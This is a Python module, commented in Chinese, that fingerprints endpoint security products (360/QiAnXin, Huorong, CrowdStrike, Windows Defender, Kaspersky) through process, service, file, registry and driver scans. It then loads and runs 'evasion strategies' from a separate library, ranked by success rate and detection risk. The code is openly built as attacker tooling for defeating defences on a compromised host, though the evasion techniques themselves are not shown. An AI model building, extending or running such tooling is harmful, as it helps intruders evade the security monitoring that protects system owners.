#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
EDR自动检测和策略加载机制
程序启动时自动检测目标EDR类型并加载对应策略
"""

import os
import sys
import json
import time
import platform
import subprocess
import threading
from typing import Dict, List, Optional, Set, Tuple, Any
from dataclasses import dataclass, field
from enum import Enum
import re
import psutil
if platform.system() == "Windows":
    import winreg
else:
    winreg = None

# 导入EDR策略库
try:
    from .edr_strategies import EDRVendor, EDRStrategyLibrary, EvasionTechnique
except ImportError:
    # 如果相对导入失败，尝试绝对导入
    import importlib.util
    spec = importlib.util.spec_from_file_location("edr_strategies", 
        os.path.join(os.path.dirname(__file__), "edr_strategies.py"))
    edr_strategies = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(edr_strategies)
    EDRVendor = edr_strategies.EDRVendor
    EDRStrategyLibrary = edr_strategies.EDRStrategyLibrary
    EvasionTechnique = edr_strategies.EvasionTechnique

class DetectionMethod(Enum):
    """检测方法"""
    PROCESS_SCAN = "process_scan"
    SERVICE_SCAN = "service_scan"
    FILE_SCAN = "file_scan"
    REGISTRY_SCAN = "registry_scan"
    NETWORK_SCAN = "network_scan"
    DRIVER_SCAN = "driver_scan"
    WMI_SCAN = "wmi_scan"

@dataclass
class EDRSignature:
    """EDR特征签名"""
    vendor: EDRVendor
    confidence: float
    detection_method: DetectionMethod
    signature_data: Dict[str, Any]
    timestamp: float = field(default_factory=time.time)

@dataclass
class DetectionRule:
    """检测规则"""
    vendor: EDRVendor
    method: DetectionMethod
    patterns: List[str]
    weight: float = 1.0
    platform: str = "all"  # windows, linux, macos, all
    enabled: bool = True

class EDRDetectionEngine:
    """EDR检测引擎"""
    
    def __init__(self):
        self.detection_rules = self._load_detection_rules()
        self.detected_edrs: List[EDRSignature] = []
        self.detection_cache = {}
        self.cache_ttl = 300  # 5分钟缓存
        
    def _load_detection_rules(self) -> List[DetectionRule]:
        """加载检测规则"""
        rules = []
        
        # 奇安信检测规则
        rules.extend([
            DetectionRule(
                vendor=EDRVendor.QIANXIN,
                method=DetectionMethod.PROCESS_SCAN,
                patterns=[
                    "QiAnXin", "qianxin", "360Safe", "360Tray", "360sd",
                    "360rp", "360RP", "ZhuDongFangYu", "QHSafeTray"
                ],
                weight=0.9,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.QIANXIN,
                method=DetectionMethod.SERVICE_SCAN,
                patterns=[
                    "360rp", "360RP", "QHActiveDefense", "QHWatchdog",
                    "360Safe", "ZhuDongFangYu"
                ],
                weight=0.95,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.QIANXIN,
                method=DetectionMethod.FILE_SCAN,
                patterns=[
                    "C:\\\\Program Files\\\\360\\\\",
                    "C:\\\\Program Files (x86)\\\\360\\\\",
                    "360Safe.exe", "360Tray.exe", "360rp.exe"
                ],
                weight=0.8,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.QIANXIN,
                method=DetectionMethod.REGISTRY_SCAN,
                patterns=[
                    "SOFTWARE\\\\360Safe",
                    "SOFTWARE\\\\Qihoo",
                    "SYSTEM\\\\CurrentControlSet\\\\Services\\\\360rp"
                ],
                weight=0.85,
                platform="windows"
            )
        ])
        
        # 火绒检测规则
        rules.extend([
            DetectionRule(
                vendor=EDRVendor.HUORONG,
                method=DetectionMethod.PROCESS_SCAN,
                patterns=[
                    "HuorongTray", "wsctrl", "usysdiag", "HipsMain",
                    "HipsTray", "HuorongSword"
                ],
                weight=0.9,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.HUORONG,
                method=DetectionMethod.SERVICE_SCAN,
                patterns=[
                    "HuorongSysUD", "wsctrl", "HipsService", "HuorongProtect"
                ],
                weight=0.95,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.HUORONG,
                method=DetectionMethod.FILE_SCAN,
                patterns=[
                    "C:\\\\Program Files\\\\Huorong\\\\",
                    "HuorongTray.exe", "wsctrl.exe", "usysdiag.exe"
                ],
                weight=0.8,
                platform="windows"
            )
        ])
        
        # CrowdStrike检测规则
        rules.extend([
            DetectionRule(
                vendor=EDRVendor.CROWDSTRIKE,
                method=DetectionMethod.PROCESS_SCAN,
                patterns=[
                    "CSFalconService", "CSFalconContainer", "falcon-sensor",
                    "CrowdStrike", "csagent", "csshell"
                ],
                weight=0.95,
                platform="all"
            ),
            DetectionRule(
                vendor=EDRVendor.CROWDSTRIKE,
                method=DetectionMethod.SERVICE_SCAN,
                patterns=[
                    "CSAgent", "CSFalconService", "CrowdStrike Falcon Sensor Service"
                ],
                weight=0.98,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.CROWDSTRIKE,
                method=DetectionMethod.DRIVER_SCAN,
                patterns=[
                    "csagent.sys", "csboot.sys", "csdevicecontrol.sys"
                ],
                weight=0.9,
                platform="windows"
            )
        ])
        
        # Windows Defender检测规则
        rules.extend([
            DetectionRule(
                vendor=EDRVendor.DEFENDER,
                method=DetectionMethod.PROCESS_SCAN,
                patterns=[
                    "MsMpEng", "MpCmdRun", "SecurityHealthService",
                    "WindowsSecurityService", "smartscreen"
                ],
                weight=0.8,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.DEFENDER,
                method=DetectionMethod.SERVICE_SCAN,
                patterns=[
                    "WinDefend", "SecurityHealthService", "Sense",
                    "WdNisSvc", "mpssvc"
                ],
                weight=0.9,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.DEFENDER,
                method=DetectionMethod.REGISTRY_SCAN,
                patterns=[
                    "SOFTWARE\\\\Microsoft\\\\Windows Defender",
                    "SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender"
                ],
                weight=0.7,
                platform="windows"
            )
        ])
        
        # 卡巴斯基检测规则
        rules.extend([
            DetectionRule(
                vendor=EDRVendor.KASPERSKY,
                method=DetectionMethod.PROCESS_SCAN,
                patterns=[
                    "avp", "kavtray", "klnagent", "ksde", "klwtblfs",
                    "kavfs", "kavfsslp", "kavfswh", "kavfswp"
                ],
                weight=0.9,
                platform="all"
            ),
            DetectionRule(
                vendor=EDRVendor.KASPERSKY,
                method=DetectionMethod.SERVICE_SCAN,
                patterns=[
                    "AVP", "KAVFS", "KAVFSGT", "klnagent", "KSDE1.0.0"
                ],
                weight=0.95,
                platform="windows"
            ),
            DetectionRule(
                vendor=EDRVendor.KASPERSKY,
                method=DetectionMethod.FILE_SCAN,
                patterns=[
                    "C:\\\\Program Files\\\\Kaspersky Lab\\\\",
                    "C:\\\\Program Files (x86)\\\\Kaspersky Lab\\\\",
                    "avp.exe", "kavtray.exe"
                ],
                weight=0.8,
                platform="windows"
            )
        ])
        
        return rules
    
    def detect_edr(self, force_refresh: bool = False) -> List[EDRSignature]:
        """检测EDR产品"""
        cache_key = "edr_detection"
        current_time = time.time()
        
        # 检查缓存
        if not force_refresh and cache_key in self.detection_cache:
            cache_data = self.detection_cache[cache_key]
            if current_time - cache_data['timestamp'] < self.cache_ttl:
                return cache_data['results']
        
        # 执行检测
        signatures = []
        current_platform = platform.system().lower()
        
        for rule in self.detection_rules:
            if not rule.enabled:
                continue
                
            if rule.platform != "all" and rule.platform != current_platform:
                continue
            
            try:
                confidence = self._execute_detection_rule(rule)
                if confidence > 0:
                    signature = EDRSignature(
                        vendor=rule.vendor,
                        confidence=confidence,
                        detection_method=rule.method,
                        signature_data={
                            'patterns': rule.patterns,
                            'platform': current_platform,
                            'rule_weight': rule.weight
                        }
                    )
                    signatures.append(signature)
                    
            except Exception as e:
                print(f"检测规则执行失败 {rule.vendor.value}/{rule.method.value}: {e}")
        
        # 合并同一厂商的检测结果
        merged_signatures = self._merge_signatures(signatures)
        
        # 更新缓存
        self.detection_cache[cache_key] = {
            'timestamp': current_time,
            'results': merged_signatures
        }
        
        self.detected_edrs = merged_signatures
        return merged_signatures
    
    def _execute_detection_rule(self, rule: DetectionRule) -> float:
        """执行检测规则"""
        if rule.method == DetectionMethod.PROCESS_SCAN:
            return self._scan_processes(rule.patterns, rule.weight)
        elif rule.method == DetectionMethod.SERVICE_SCAN:
            return self._scan_services(rule.patterns, rule.weight)
        elif rule.method == DetectionMethod.FILE_SCAN:
            return self._scan_files(rule.patterns, rule.weight)
        elif rule.method == DetectionMethod.REGISTRY_SCAN:
            return self._scan_registry(rule.patterns, rule.weight)
        elif rule.method == DetectionMethod.DRIVER_SCAN:
            return self._scan_drivers(rule.patterns, rule.weight)
        elif rule.method == DetectionMethod.WMI_SCAN:
            return self._scan_wmi(rule.patterns, rule.weight)
        else:
            return 0.0
    
    def _scan_processes(self, patterns: List[str], weight: float) -> float:
        """扫描进程"""
        try:
            processes = [proc.info['name'].lower() for proc in psutil.process_iter(['name'])]
            matches = 0
            
            for pattern in patterns:
                pattern_lower = pattern.lower()
                for proc_name in processes:
                    if pattern_lower in proc_name:
                        matches += 1
                        break
            
            if matches > 0:
                confidence = min(1.0, (matches / len(patterns)) * weight)
                return confidence
                
        except Exception as e:
            print(f"进程扫描失败: {e}")
        
        return 0.0
    
    def _scan_services(self, patterns: List[str], weight: float) -> float:
        """扫描服务"""
        if platform.system() != "Windows":
            return 0.0
        
        try:
            # 使用WMI查询服务
            import wmi
            c = wmi.WMI()
            services = [service.Name.lower() for service in c.Win32_Service()]
            
            matches = 0
            for pattern in patterns:
                pattern_lower = pattern.lower()
                for service_name in services:
                    if pattern_lower in service_name:
                        matches += 1
                        break
            
            if matches > 0:
                confidence = min(1.0, (matches / len(patterns)) * weight)
                return confidence
                
        except Exception:
            # 备用方法：使用sc命令
            try:
                result = subprocess.run(['sc', 'query'], 
                                      capture_output=True, text=True, timeout=10)
                if result.returncode == 0:
                    output = result.stdout.lower()
                    matches = sum(1 for pattern in patterns if pattern.lower() in output)
                    if matches > 0:
                        confidence = min(1.0, (matches / len(patterns)) * weight)
                        return confidence
            except Exception as e:
                print(f"服务扫描失败: {e}")
        
        return 0.0
    
    def _scan_files(self, patterns: List[str], weight: float) -> float:
        """扫描文件"""
        try:
            matches = 0
            
            for pattern in patterns:
                # 处理路径模式
                if '\\\\' in pattern:
                    # Windows路径
                    path = pattern.replace('\\\\', '\\')
                    if os.path.exists(path):
                        matches += 1
                else:
                    # 文件名模式
                    # 在常见目录中搜索
                    search_dirs = []
                    if platform.system() == "Windows":
                        search_dirs = [
                            "C:\\\\Program Files",
                            "C:\\\\Program Files (x86)",
                            "C:\\\\Windows\\\\System32",
                            "C:\\\\Windows\\\\SysWOW64"
                        ]
                    else:
                        search_dirs = ["/usr/bin", "/usr/sbin", "/opt", "/usr/local/bin"]
                    
                    for search_dir in search_dirs:
                        if os.path.exists(search_dir):
                            for root, dirs, files in os.walk(search_dir):
                                if pattern.lower() in [f.lower() for f in files]:
                                    matches += 1
                                    break
                            if matches > 0:
                                break
            
            if matches > 0:
                confidence = min(1.0, (matches / len(patterns)) * weight)
                return confidence
                
        except Exception as e:
            print(f"文件扫描失败: {e}")
        
        return 0.0
    
    def _scan_registry(self, patterns: List[str], weight: float) -> float:
        """扫描注册表"""
        if platform.system() != "Windows" or not winreg:
            return 0.0
        
        try:
            matches = 0
            
            for pattern in patterns:
                try:
                    # 解析注册表路径
                    parts = pattern.split('\\\\')
                    if len(parts) < 2:
                        continue
                    
                    # 确定根键
                    root_key_name = parts[0]
                    subkey_path = '\\\\'.join(parts[1:])
                    
                    root_key_map = {
                        'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
                        'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
                        'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
                        'SOFTWARE': winreg.HKEY_LOCAL_MACHINE,
                        'SYSTEM': winreg.HKEY_LOCAL_MACHINE
                    }
                    
                    root_key = root_key_map.get(root_key_name, winreg.HKEY_LOCAL_MACHINE)
                    
                    # 尝试打开注册表键
                    try:
                        key = winreg.OpenKey(root_key, subkey_path, 0, winreg.KEY_READ)
                        winreg.CloseKey(key)
                        matches += 1
                    except FileNotFoundError:
                        pass
                    
                except Exception:
                    continue
            
            if matches > 0:
                confidence = min(1.0, (matches / len(patterns)) * weight)
                return confidence
                
        except Exception as e:
            print(f"注册表扫描失败: {e}")
        
        return 0.0
    
    def _scan_drivers(self, patterns: List[str], weight: float) -> float:
        """扫描驱动程序"""
        if platform.system() != "Windows":
            return 0.0
        
        try:
            # 使用driverquery命令
            result = subprocess.run(['driverquery'], 
                                  capture_output=True, text=True, timeout=10)
            if result.returncode == 0:
                output = result.stdout.lower()
                matches = sum(1 for pattern in patterns if pattern.lower() in output)
                if matches > 0:
                    confidence = min(1.0, (matches / len(patterns)) * weight)
                    return confidence
                    
        except Exception as e:
            print(f"驱动扫描失败: {e}")
        
        return 0.0
    
    def _scan_wmi(self, patterns: List[str], weight: float) -> float:
        """WMI扫描"""
        if platform.system() != "Windows":
            return 0.0
        
        try:
            import wmi
            c = wmi.WMI()
            
            # 扫描安装的软件
            software_list = []
            for software in c.Win32_Product():
                if software.Name:
                    software_list.append(software.Name.lower())
            
            matches = 0
            for pattern in patterns:
                pattern_lower = pattern.lower()
                for software_name in software_list:
                    if pattern_lower in software_name:
                        matches += 1
                        break
            
            if matches > 0:
                confidence = min(1.0, (matches / len(patterns)) * weight)
                return confidence
                
        except Exception as e:
            print(f"WMI扫描失败: {e}")
        
        return 0.0
    
    def _merge_signatures(self, signatures: List[EDRSignature]) -> List[EDRSignature]:
        """合并同一厂商的检测结果"""
        vendor_signatures = {}
        
        for signature in signatures:
            vendor = signature.vendor
            if vendor not in vendor_signatures:
                vendor_signatures[vendor] = []
            vendor_signatures[vendor].append(signature)
        
        merged = []
        for vendor, sigs in vendor_signatures.items():
            if not sigs:
                continue
            
            # 计算综合置信度
            total_confidence = sum(sig.confidence for sig in sigs)
            max_confidence = max(sig.confidence for sig in sigs)
            avg_confidence = total_confidence / len(sigs)
            
            # 使用加权平均
            final_confidence = min(1.0, (max_confidence * 0.6 + avg_confidence * 0.4))
            
            # 合并检测方法和数据
            detection_methods = [sig.detection_method for sig in sigs]
            merged_data = {
                'detection_methods': [method.value for method in detection_methods],
                'detection_count': len(sigs),
                'max_confidence': max_confidence,
                'avg_confidence': avg_confidence
            }
            
            merged_signature = EDRSignature(
                vendor=vendor,
                confidence=final_confidence,
                detection_method=detection_methods[0],  # 使用第一个方法作为主要方法
                signature_data=merged_data
            )
            
            merged.append(merged_signature)
        
        # 按置信度排序
        merged.sort(key=lambda x: x.confidence, reverse=True)
        return merged

class EDRAutoLoader:
    """EDR自动加载器"""
    
    def __init__(self):
        self.detection_engine = EDRDetectionEngine()
        self.strategy_library = EDRStrategyLibrary()
        self.loaded_strategies: Dict[EDRVendor, List[EvasionTechnique]] = {}
        self.auto_load_enabled = True
        
    def initialize(self) -> Dict[str, Any]:
        """初始化自动加载器"""
        print("正在检测EDR产品...")
        
        # 检测EDR
        detected_edrs = self.detection_engine.detect_edr()
        
        # 加载对应策略
        loaded_count = 0
        for signature in detected_edrs:
            if signature.confidence > 0.5:  # 置信度阈值
                strategies = self.load_strategies_for_vendor(signature.vendor)
                loaded_count += len(strategies)
                print(f"检测到 {signature.vendor.value} (置信度: {signature.confidence:.2f})")
                print(f"已加载 {len(strategies)} 个规避策略")
        
        if not detected_edrs:
            print("未检测到已知EDR产品，加载通用策略")
            # 加载通用策略
            self.load_generic_strategies()
        
        result = {
            'detected_edrs': [
                {
                    'vendor': sig.vendor.value,
                    'confidence': sig.confidence,
                    'detection_method': sig.detection_method.value,
                    'timestamp': sig.timestamp
                }
                for sig in detected_edrs
            ],
            'loaded_strategies_count': loaded_count,
            'total_vendors': len(self.loaded_strategies)
        }
        
        return result
    
    def load_strategies_for_vendor(self, vendor: EDRVendor) -> List[EvasionTechnique]:
        """为特定厂商加载策略"""
        strategies = self.strategy_library.get_strategies_for_edr(vendor)
        
        # 过滤适用于当前平台的策略
        current_platform = platform.system().lower()
        filtered_strategies = [
            strategy for strategy in strategies
            if strategy.platform == "all" or strategy.platform == current_platform
        ]
        
        self.loaded_strategies[vendor] = filtered_strategies
        return filtered_strategies
    
    def load_generic_strategies(self):
        """加载通用策略"""
        # 加载所有厂商的通用策略
        for vendor in EDRVendor:
            strategies = self.load_strategies_for_vendor(vendor)
            # 只保留通用性较强的策略
            generic_strategies = [
                strategy for strategy in strategies
                if strategy.success_rate > 0.7 and strategy.detection_risk < 0.3
            ]
            self.loaded_strategies[vendor] = generic_strategies
    
    def get_recommended_strategies(self, 
                                 target_vendor: Optional[EDRVendor] = None,
                                 max_risk: float = 0.5) -> List[EvasionTechnique]:
        """获取推荐的规避策略"""
        if target_vendor and target_vendor in self.loaded_strategies:
            strategies = self.loaded_strategies[target_vendor]
        else:
            # 合并所有策略
            strategies = []
            for vendor_strategies in self.loaded_strategies.values():
                strategies.extend(vendor_strategies)
        
        # 过滤风险等级
        filtered_strategies = [
            strategy for strategy in strategies
            if strategy.detection_risk <= max_risk
        ]
        
        # 按成功率和风险排序
        filtered_strategies.sort(
            key=lambda x: (x.success_rate, -x.detection_risk),
            reverse=True
        )
        
        return filtered_strategies
    
    def execute_strategy(self, strategy: EvasionTechnique) -> Dict[str, Any]:
        """执行规避策略"""
        try:
            print(f"执行策略: {strategy.name}")
            print(f"描述: {strategy.description}")
            
            # 检查前置条件
            if not self._check_requirements(strategy.requirements):
                return {
                    'success': False,
                    'error': '不满足前置条件',
                    'requirements': strategy.requirements
                }
            
            # 执行策略代码
            result = self.strategy_library.execute_technique(strategy)
            
            return {
                'success': result,
                'strategy_name': strategy.name,
                'vendor': strategy.vendor.value if hasattr(strategy, 'vendor') else 'unknown',
                'execution_time': time.time()
            }
            
        except Exception as e:
            return {
                'success': False,
                'error': str(e),
                'strategy_name': strategy.name
            }
    
    def _check_requirements(self, requirements: List[str]) -> bool:
        """检查策略前置条件"""
        current_platform = platform.system().lower()
        
        for requirement in requirements:
            req_lower = requirement.lower()
            
            # 检查平台要求
            if req_lower in ['windows', 'linux', 'macos']:
                if req_lower != current_platform:
                    return False
            
            # 检查权限要求
            elif req_lower == 'admin' or req_lower == 'administrator':
                if not self._is_admin():
                    return False
            
            # 检查特定工具要求
            elif req_lower in ['powershell', 'cmd']:
                if current_platform != 'windows':
                    return False
            
        return True
    
    def _is_admin(self) -> bool:
        """检查是否具有管理员权限"""
        try:
            if platform.system() == "Windows":
                import ctypes
                return ctypes.windll.shell32.IsUserAnAdmin()
            else:
                return os.geteuid() == 0
        except:
            return False
    
    def get_detection_report(self) -> Dict[str, Any]:
        """获取检测报告"""
        return {
            'detection_timestamp': time.time(),
            'detected_edrs': [
                {
                    'vendor': sig.vendor.value,
                    'confidence': sig.confidence,
                    'detection_method': sig.detection_method.value,
                    'signature_data': sig.signature_data
                }
                for sig in self.detection_engine.detected_edrs
            ],
            'loaded_strategies': {
                vendor.value: len(strategies)
                for vendor, strategies in self.loaded_strategies.items()
            },
            'platform': platform.system(),
            'is_admin': self._is_admin()
        }

# 使用示例
if __name__ == "__main__":
    # 创建自动加载器
    auto_loader = EDRAutoLoader()
    
    # 初始化并检测EDR
    print("=== EDR自动检测和策略加载 ===")
    init_result = auto_loader.initialize()
    
    print(f"\\n检测结果:")
    print(f"- 检测到 {len(init_result['detected_edrs'])} 个EDR产品")
    print(f"- 加载了 {init_result['loaded_strategies_count']} 个规避策略")
    print(f"- 涉及 {init_result['total_vendors']} 个厂商")
    
    # 获取推荐策略
    print("\\n=== 推荐的规避策略 ===")
    recommended = auto_loader.get_recommended_strategies(max_risk=0.3)
    
    for i, strategy in enumerate(recommended[:5], 1):  # 显示前5个
        print(f"{i}. {strategy.name}")
        print(f"   成功率: {strategy.success_rate:.1%}")
        print(f"   风险等级: {strategy.detection_risk:.1%}")
        print(f"   描述: {strategy.description}")
        print()
    
    # 生成检测报告
    print("\\n=== 检测报告 ===")
    report = auto_loader.get_detection_report()
    print(json.dumps(report, indent=2, ensure_ascii=False))